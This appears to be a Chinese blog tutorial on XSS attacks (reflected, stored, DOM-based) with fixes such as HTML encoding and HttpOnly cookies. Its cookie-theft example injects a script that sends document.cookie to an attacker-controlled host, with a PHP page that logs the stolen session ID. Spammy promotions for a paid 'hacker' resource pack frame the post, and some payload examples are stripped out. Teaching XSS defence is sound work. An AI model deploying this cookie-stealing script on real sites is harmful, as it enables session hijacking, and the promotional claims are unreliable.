XSS跨站脚本攻击_strip_tags xss,2024年最新农民工看完都会了

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

非正常发送消息:

http://www.test.com/message.php?send=!

接收者接收消息显示的时候将会弹出警告窗口

3.2、存贮型xss攻击

又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

简单例子:

从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板

留言板表单中的表单域:

正常操作:

用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:

攻击者在value填写【或者html其他标签(破坏样式。。。)、一段攻击型代码】;

将数据存储到数据库中;

其他用户取出数据显示的时候,将会执行这些攻击性代码

3.3、DOMBasedXSS(基于dom的跨站点脚本攻击)

基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

简单例子

 1 <HTML>
 2 <TITLE>Welcome!</TITLE>
 3 Hi
 4 <SCRIPT>
 5 var pos=document.URL.indexOf("name=")+5;
 6 document.write(document.URL.substring(pos,document.URL.length));
 7 </SCRIPT>
 8 <BR>
 9 Welcome to our system
10 …
11 </HTML>

这个例子是个欢迎页面,name是截取URL中get过来的name参数

正常操作:

http://www.vulnerable.site/welcome.html?name=Joe

非正常操作:

http://www.vulnerable.site/welcome.html?name=

将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

注意:

1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。

4、XSS攻击实例分析

例1、简单XSS攻击

留言类,简单注入javascript

有个表单域:

1、假若用户填写数据为:)

2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库

3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】

例2、盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单,xss.html

 1 <!DOCTYPE html>
 2 <html>
 3 <head>
 4     <title>xss攻击</title>
 5     <meta charset="utf-8">
 6 </head>
 7 <body>
 8 
 9 <form action="./test99.php" method="post">
10 留言:<input type="text" name="content" value=""><br/>
11 <input type="submit" name="" value='提交'>
12 </form>
13 <br/>留言记录:<br/>
14 </body>
15 </html>

3、恶意攻击者插入相应代码

1 <script>
2 var Str=document.cookie;               //获取cookie
3 var a =document.createElement('a');        //创建a标签
4 a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
5 a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
6 document.body.appendChild(a);              //将标签添加到页面中
7 </script>

4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie

1 <?php
2 header("content-type:text/html;charset=utf8");
3 echo "你的PHPSESSID被盗啦";
4 echo "<pre>";
5 print_r($_GET);
6 echo "</pre>";
7 $cookie=$_GET['PHPSESSID'];
8 file_put_contents('./xss.txt', $cookie);
9 ?> 

开始模拟测试

1、test88.com中设置生成sessionID代码

1 <?php
2 session_start();
3 $_SESSION['xss']='xssssss';
4 echo "<pre>";
5 print_r($_SESSION);
6 echo "</pre>";die;
7 ?>

2、客户端访问上面代码并生成自己的sessionID

3、客户端访问xss.html

#下面为模拟被攻击后取出数据的xss.html代码(显示数据)

 1 <!DOCTYPE html>
 2 <html>
 3 <head>
 4     <title>xss攻击</title>
 5     <meta charset="utf-8">
 6 </head>
 7 <body>
 8 <form action="./test99.php" method="post">
 9 留言:<input type="text" name="content" value=""><br/>
10 <input type="submit" name="" value='提交'>
11 </form>
12 <br/>留言记录:<br/>
13 <script>
14 var Str=document.cookie;               //获取cookie
15 var a =document.createElement('a');        //创建a标签
16 a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
17 a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
18 document.body.appendChild(a);              //将标签添加到页面中
19 </script>
20 </body>
21 </html>

4、客户端不小心点击到图片,sessionID将被盗

# vi xss.txt

【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】

5、XSS漏洞修复

从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。

5.1、html实体

什么是html实体?

在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来说是有特殊意义的,所以这些字符是不允许在文本中使用的。要在HTML中显示(<)这个字符,我们就必须使用实体字符。

html实体的存在是导致XSS漏洞的主要原因之一。

因此我们需要将这些实体全部转换为相应的实体编号。

显示结果描述实体名称
空格 
<小于号<
>大于号>
&和号&
"引号"
撇号' (IE不支持)

5.2、HTML Encode

用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。

在PHP中已经存在这样子功能的函数,即是htmlentities($str)函数。

与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。

5.3、修复漏洞方针

【不相应用户提交的数据,过滤过滤过滤!

1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。

4、对数据进行Html Encode 处理

5、过滤或移除特殊的Html标签, 例如:

6、过滤JavaScript 事件的标签。例如 “οnclick=”, “onfocus” 等等。

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

5.png)

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-2ZngWP4Y-1713438500777)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 21
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值